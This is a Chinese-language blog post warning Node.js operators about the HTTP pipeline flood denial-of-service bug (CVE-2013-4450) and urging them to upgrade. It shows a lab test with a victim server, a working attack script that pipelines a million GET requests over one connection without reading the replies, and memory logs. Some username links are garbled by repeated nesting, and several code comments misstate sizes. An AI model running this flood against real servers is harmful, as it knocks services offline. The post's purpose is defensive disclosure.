最近在写一些网络安全方面的东西,想到近期Node.js有次重大升级,想顺便提醒下各位将Node.js部署在生产环境下的TX,务必将版本升级到0.8.26
和0.10.21
。
之前我的老同学[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[@pathletboy](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)](/user/pathletboy)已经用非常漂亮的golang
攻击实例警告各位Noe.js站长有条件的快点升级,下面是原文地址:
http://cnodejs.org/topic/52623dc29df724eb6d00808b
站长[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[@suqian](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian)](/user/suqian) 也发起了嘲讽贴,说cnode已经升级,欢迎前来攻击吧,可见这次的http管道漏洞影响还是非常大的,那他究竟有多少威力呢?下面我们进行一个简单的模拟攻击实验,看看这个漏洞究竟有多厉害。
我们的测试机器和攻击机器都是2CPU 4G内存的云服务器,系统linux 2.6.8 64bit,node版本0.10.7,网络环境是公司内网。
我们先启动服务器脚本:
var http = require('http');
var buf = new Buffer(1024*1024);//1kb buffer
buf.fill('h');
http.createServer(function (request, response) {
response.writeHead(200, {'Content-Type': 'text/plain'});
response.end(buf);
}).listen(8124);
console.log(process.memoryUsage());
setInterval(function(){//per minute memory usage
console.log(process.memoryUsage());
},1000*60)
这段脚本我们对请求都会响应1KB
的buffer字符h
,同时每分钟会打印出当前Node.js进程所消耗掉的内存。在攻击服务器上,我们部署如下脚本:
var net = require('net');
var attack_str = 'GET / HTTP/1.1\r\nHost: 192.168.28.4\r\n\r\n';//模拟get请求头
var i = 1000000;//10W次的发送
var client = net.connect({port: 8124, host:'192.168.28.4'},//28.4是上面那台服务器的ip地址
function() { //'connect' listener
while(i--){
client.write(attack_str);
}
});
client.on('error', function(e) {
console.log('attack success');
});
我们在一个tcp
连接上模拟10W次http请求,get
获取这1kb
的buffer字符,但是我们并不消费它,不监听client
的data
事件,当攻击脚本运行结束后,我们看下运行10分钟Node.js服务器打印的内存消耗信息情况:
{ rss: 10190848, heapTotal: 6147328, heapUsed: 2632432 }
{ rss: 921882624, heapTotal: 888726688, heapUsed: 860301136 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189239056 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189251728 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189263768 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189270888 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189278008 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189285096 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189292216 }
{ rss: 1250893824, heapTotal: 1211065584, heapUsed: 1189301864 }
从我们启动web服务到攻击结束,我们的web服务器内存占用多了近200倍消耗,我们利用top
命令打印出服务器当前剩余内存,发现所剩无几:
Mem: 3925040k total, 3290428k used, 634612k free, 170324k buffers
更可怕的是,这部分内存还不会主动释放,除非重启Node.js进程才会,一个tcp
连接已经有这么强大的威力,如果再多发送10W次,或者有2个恶意连接同时攻击,我们的Node.js web服务器终将会因为物理内存耗尽进入频繁交换失去响应,无法提供服务了。
所以此次的http漏洞非常紧急,请各位加紧升级您的Node.js版本。
关于漏洞的原因主要是,由于客户端不触发drain
这样的排泄事件,而Node.js服务器却一直在往stream
中写入数据,从而造成物理内存一直无法释放,最终耗尽。
升级日志: http://blog.nodejs.org/2013/10/22/cve-2013-4450-http-server-pipeline-flood-dos/